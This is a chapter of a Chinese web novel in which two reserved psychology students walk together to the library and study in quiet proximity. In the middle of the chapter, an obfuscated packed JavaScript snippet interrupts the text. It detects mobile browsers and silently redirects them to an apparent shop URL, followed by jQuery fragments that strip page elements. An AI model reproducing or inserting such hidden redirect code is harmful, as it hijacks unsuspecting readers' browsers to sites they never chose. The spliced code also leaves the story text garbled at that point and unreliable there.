为什么？
陆忱的大脑开始高速运转，分析各种可能性：社交礼仪？寻求支持？还是……？
“我一会儿还有事。”程见微说，声音平和但坚定，“谢谢你的好意。”
然后她补充了一句，语气稍微柔和了一些：“不过提拉米苏的建议我记下了。下次可以试试。”
陈默脸上的笑容僵了半秒，但很快恢复，像水面被石子打破后迅速平复：“啊，没事没事！那你忙你的。那……陆忱你呢？”
陆忱没有看他。
他的目光落在程见微身上，看着她收拾笔记本的动作，看着她把钢笔插回笔袋——那是个深灰色的皮质笔袋，边缘有轻微的使用痕迹，拉链头上挂着一个很小的金属挂件，形状像某种植物的叶子。
“不用。”他说，声音比刚才冷了一度。他察觉到了自己语气的变化，但无法控制。就像无法控制胃部那细微的不适感，无法控制心底那种奇怪的酸涩感。
陈默似乎察觉到了气氛的微妙变化，急忙站起来，动作有些仓促：“那我先走了，院办那边还有点事。下周再见！”
他几乎是逃跑似的离开了会议室，关门时动作很轻，像怕惊扰了什么。
门关上后，室内只剩下两个人。
突然的安静像一层薄膜覆盖下来，厚重而清晰。窗外的阳光斜得更厉害了，把桌面切割成明暗两块——陆忱坐在暗处，程见微坐在明处。灰尘在光柱中缓慢旋转，像微型的星系，遵循着某种看不见的引力法则。
程见微开始整理物品。她把钢笔插回笔袋，拉链发出细微的金属摩擦声。然后合上笔记本，放进双肩包侧袋。动作慢条斯理，每个步骤都清晰有序，像在执行某种既定程序。
陆忱合上笔记本电脑，屏幕暗下去的瞬间，倒映出他自己的脸——平静，但眼底深处有什么东西在翻涌。他拔掉电源线，仔细卷好，收进电脑包内袋。他做得同样慢，像是在刻意延长这个过程，延长这间会议室里仅剩的、无人打扰的时光。
两人几乎同时站起身。
椅子腿摩擦地面发出轻响，在空旷的房间里被放大，然后消散。
程见微背上双肩包，带子调整到合适的长度，不松不紧。她抬头看向他，琥珀色的眼睛在逆光中显得更深了一些：“一起走？”
她的语气很自然，像随口一提，但陆忱听出了其中的试探性。不是暧昧的试探，而是……测量距离的试探，像在测试社交协议的边界。
他沉默了两秒。
这两秒里，他快速评估了各种因素：原计划是去图书馆查阅最新的人格心理学文献、接下来两小时需要完成的代码调试任务、与她同行的社交成本、可能发生的对话内容、以及——那个他自己不愿承认的——某种隐约的意愿。
那种想延长这段独处时光的意愿。
那种想继续和她待在一起的冲动。
那种……当她说“我一会儿还有事”而不是接受陈默的邀请时，心底一闪而过的、微弱的释然感。
“嗯。”他说，声音很轻。
两人一前一后走出会议室。
走廊里很安静，周末的教学楼几乎空无一人。脚步声在光洁的地砖上回响，陆忱走在后面，目光落在程见微的背影上。
她走路的样子也很特别：步伐稳定，步幅均匀，双肩包在她背上几乎不动，重心始终保持在身体中轴线上。她的身高在女生中很突出，比例协调，从肩到腰到腿的线条流畅得像某种精心设计的几何结构。
陆忱注意到她的双肩包侧面口袋里插着一本薄册子，露出深蓝色的书脊——《自由搏击基础技法》。新的数据点。她真的在系统训练，不是一时兴起。
走到楼梯口时，陆忱口袋里的手机震动起来。
连续的、执着的震动，贴着大腿的肌肉传递上来。他拿出来看了一眼。屏幕上显示着一串没有储存的号码，但尾号他认识——是陆明璋的助理之一。父亲从不亲自打电话，总是通过层层转达，像古代的君王通过宦官传旨。
胃部的不适感突然加剧了。
陆忱的眉头皱起，一个清晰而短暂的皱眉动作，眉间出现两道浅痕，像被刀锋轻轻划过的水面。他按下侧键，手机停止震动，屏幕暗下去。动作果断，没有任何犹豫。
他把手机放回口袋，布料摩擦发出细微的窸窣声。抬头时，发现程见微已经下了几级台阶，正回头看他。
她没有说话，只是站在那里，目光平静地落在他脸上。她的表情没有任何变化，但眼神里有某种东西——不是好奇，不是探究，更像是……记录。像在观察一个实验对象对刺激的反应，然后在大脑里分类归档。
“没事。”他说，声音比刚才低了一些，带着一点自己都没察觉的沙哑。
程见微点点头，没有追问，也没有表现出任何过度关注，就像什么都没发生。她转身继续下楼，脚步声在楼梯间里有节奏地回荡。
但陆忱知道她看见了。
她看见了那个电话，看见了他的反应，看见了皱眉的瞬间和声音的变化。她记录了一切，像一台高精度的摄像机。
而奇怪的是，他并没有感到被冒犯。如果是别人看见他拒接电话，他可能会反感，会觉得私人领地被侵犯，会立刻筑起更高的墙。但程见微不同——她的观察是安静的，克制的，不带评判的。她只是等待，像有耐心的猎人。
这个认知让陆忱感到一种奇怪的……共鸣。他们是同类，在某种程度上。都是用理性武装自己的人，都是习惯观察而非参与的人，都是在人群中保持距离的人。
但又不完全一样。
她的理性似乎更纯粹，更稳定，更像是一种本质而非伪装。
下到一楼，推开厚重的玻璃门。
下午四点半的阳光铺满整片草坪，温度适宜，风很轻，带着秋天特有的干燥气息。远处有学生在玩飞盘，彩色的塑料盘在空中划出抛物线，笑声随风飘来，模糊而遥远，像另一个维度的声音。
“你回宿舍？”程见微问，声音在室外听起来更清晰，带着一点风的质感。
“图书馆。”陆忱说，目光扫过远处的钟楼。钟的指针指向四点半，秒针在缓慢移动。他的胃部不适感已经减轻，但那种沉重的感觉还在，像吞下了什么无法消化的东西。
“我也去图书馆。”程见微说，停顿了半秒——一个微妙的、几乎察觉不到的停顿，“一起？”
这次她转过了身，正面看着他。阳光从她背后照过来，给她整个人镶上一圈毛茸茸的光边，像某种圣像画的光晕。她的脸在逆光中有些暗，但眼睛依然明亮，琥珀色的虹膜在阴影里像燃烧的炭。
陆忱看着那双眼睛。
他在里面看不到期待，看不到紧张，看不到任何情绪化的东西。只有平静，和一种……开放性的等待。
等待他的选择。
像在做一个A/B测试：选项A是同意，选项B是拒绝。她会记录结果，但不会干涉选择本身。
“好。”他说。
他们并肩走向图书馆，中间保持着大约四十公分的距离——这是陌生人社交的标准距离，不疏远也不亲近，像两条平行线。
陆忱注意到，程见微的步伐节奏和他几乎一致。不是她在刻意配合他，也不是他在配合她，而是一种自然的同步。左脚，右脚，步幅，频率，甚至呼吸的节奏都在缓慢地趋同。这是人类在亲近时无意识的行为模仿，但他不确定她是否意识到了。
他还注意到，她的呼吸很轻，但能听见——吸气时鼻腔有细微的气流声，呼气时几乎无声。还有她身上隐约的气味，不是香水，是某种干净的、类似阳光晒过的棉布的味道，混合着极淡的薄荷牙膏气息，和一点点……纸张和墨水的气味。
这些细节在安静的步行中被放大，像显微镜下的切片。
他们穿过林荫道，梧桐树的影子在身上流动，像水纹。经过篮球场时，一个球滚到路边，橙色的皮质表面沾着灰尘。程见微自然地弯腰捡起，动作流畅，脊柱弯曲的弧度精准得像计算过，然后起身，手腕发力，球划出一道干净的抛物线扔回给场内的学生。
整个过程没有多余的停顿，没有眼神交流，像完成一个预设的脚本。
陆忱看着她的侧脸。她的下颌线很清晰，像用炭笔勾勒出的线条。鼻梁高挺，在阳光下投下浅浅的阴影。嘴唇是自然的淡粉色，没有任何妆容的痕迹，皮肤在自然光下能看到细微的绒毛，像水蜜桃的表皮。
她察觉到他的视线，转过头。
目光相接的瞬间，陆忱没有移开——他很少这样直视别人，通常会在接触的0.3秒内移开视线，这是社交焦虑的常见表现。但这次他没有回避。
程见微也没有回避。她的眼神依然平静，但深处有什么东西在流动，像深潭底下看不见的暗涌，或者冰层下的水流。
“怎么了？”她问，声音很轻，几乎被风吹散。
“没什么。”陆忱说，转回头看向前方。
走到图书馆门口，程见微从口袋里取出校园卡，刷卡，玻璃门自动向两侧滑开。她侧身让陆忱先进，一个很自然的礼貌动作，但她的手在门框上停留了半秒，像在测量门的重量。
陆忱走进去，暖气和纸张的气味扑面而来——旧书特有的霉味，新印刷品的油墨味，还有地板清洁剂的化学气味。周末的图书馆人不多，大厅里很安静，只有中央空调的低频嗡鸣。
“我去三楼。”程见微说，把校园卡放回口袋。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029842|193824||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“我也是。”陆忱说。
电梯前等了几个人，他们默契地选择了楼梯——都没有说话，但脚步同时转向楼梯间的方向。
楼梯间更安静，只有脚步声和呼吸声的回响。走到二楼转角时，陆忱忽然开口，声音在封闭的空间里显得格外清晰：“你准备待多久？”
程见微的脚步没有停顿，但呼吸的节奏变化了——她吸气的时长延长了0.2秒。
“到六点吧。”她说，“还有工作没做完。你呢？”
“一样。”
简单的对话，信息量很小，但某种共识正在形成：他们会在同一个空间里，各自工作，互不打扰，但共享这个下午的剩余时光。像两个在深海里各自发光的生物，知道彼此的存在，但保持安全的距离。
走到三楼，推开防火门。
阅览室里零零散散坐着些学生，大部分在埋头看书或打字。阳光透过高大的窗户照进来，在木质地板上投出整齐的光斑。
程见微走向靠窗的位置——那是她常坐的地方，陆忱知道。他见过三次。
陆忱选择了她斜后方的位置——距离大约五米，中间隔着一排书架。从这个角度，他可以看到她的侧影，可以看到她翻书的动作，可以看到她思考时微微咬住下唇的习惯。
但他不会一直看。那样太明显了。
他坐下，打开电脑，连接电源，调出代码界面。手指在键盘上敲击，一行行指令在屏幕上流淌。
但眼角余光始终留着一部分给她。
程见微从包里取出笔记本，钢笔，保温杯。她把东西摆放整齐，然后翻开一本厚厚的心理学专著——《人格障碍的认知行为疗法》，第三版。她阅读的速度很快，偶尔会停下来做笔记，笔尖在纸上移动的节奏稳定。
下午的光线缓慢移动，从她的肩膀移到桌面，从桌面移到书页。
陆忱调试完一个算法模块，抬头活动颈椎时，看见程见微正伸手去拿保温杯。她的手指碰到杯身，停顿了一下——很细微的停顿，几乎看不出来。
然后她拧开杯盖，喝水。
她的喉咙在吞咽时微微起伏，颈部的线条优美而脆弱。
陆忱移开视线，看向自己的屏幕。
但那个画面留在了视网膜上，像曝光过度的底片。
他想起刚才陈默邀请她吃甜品时的表情，那种期待和紧张。想起她拒绝时平静但坚定的语气。想起她说“下次可以试试”时，那个微妙的、几乎不存在的柔软瞬间。
一种陌生的情绪在胸腔里缓慢滋生。
不是愤怒，不是嫉妒，不是任何可以明确命名的东西。更像是一种……酸涩的沉重感，像吞下了未熟的果实，汁液在胃里缓慢发酵。
他不想承认那是什么。
窗外的天色渐渐暗下来，从明亮的午后过渡到柔和的黄昏。远处的钟楼敲响了六点的钟声，低沉而悠长，在黄昏的空气里缓缓扩散。
程见微合上书，开始收拾东西。她的动作依然有条不紊，像一部精密的机器在执行关机程序。
陆忱也合上电脑。
他们几乎同时站起身，目光在空中短暂交汇。
没有说再见，没有约定下次，但某种默契已经建立——他们会在这里各自工作，然后在某个时刻一起离开，分享一段安静的、不需要太多言语的同行时光。
程见微背上包，走向门口。陆忱跟在后面，保持着适当的距离。
走出图书馆时，天色已经完全暗了。路灯一盏盏亮起来，在渐浓的夜色中投下昏黄的光晕。
“明天心理学课见。”程见微说，声音在夜晚的空气里显得很轻。
“嗯。”陆忱应道。
她点点头，转身走向宿舍区的方向。背影在路灯下渐渐拉长，然后融入夜色。
陆忱站在原地，看着她消失的方向。
他深吸一口气，夜晚的空气冷而清澈，像冰水洗过肺叶。
然后转身，走向与程见微相反的方向。
影子在路灯下拉得很长，像另一个沉默的、忠诚的追随者。
在影子的尽头，陆忱停下脚步，回头看了一眼图书馆三楼那扇还亮着灯的窗户——那是程见微刚才坐的位置。
窗户已经空了。
但他仿佛还能看见她坐在那里的样子，专注，安静，像一幅被时间凝固的画。
他转身继续走，胃部的不适感已经完全消失，但心底那种酸涩的感觉还在，像某种缓慢扩散的墨水，在他理性的版图上留下一道难以清除的痕迹。
他需要分析它，理解它，控制它。
就像他分析、理解、控制一切那样。
但这一次，他隐约感觉到，这可能没那么容易。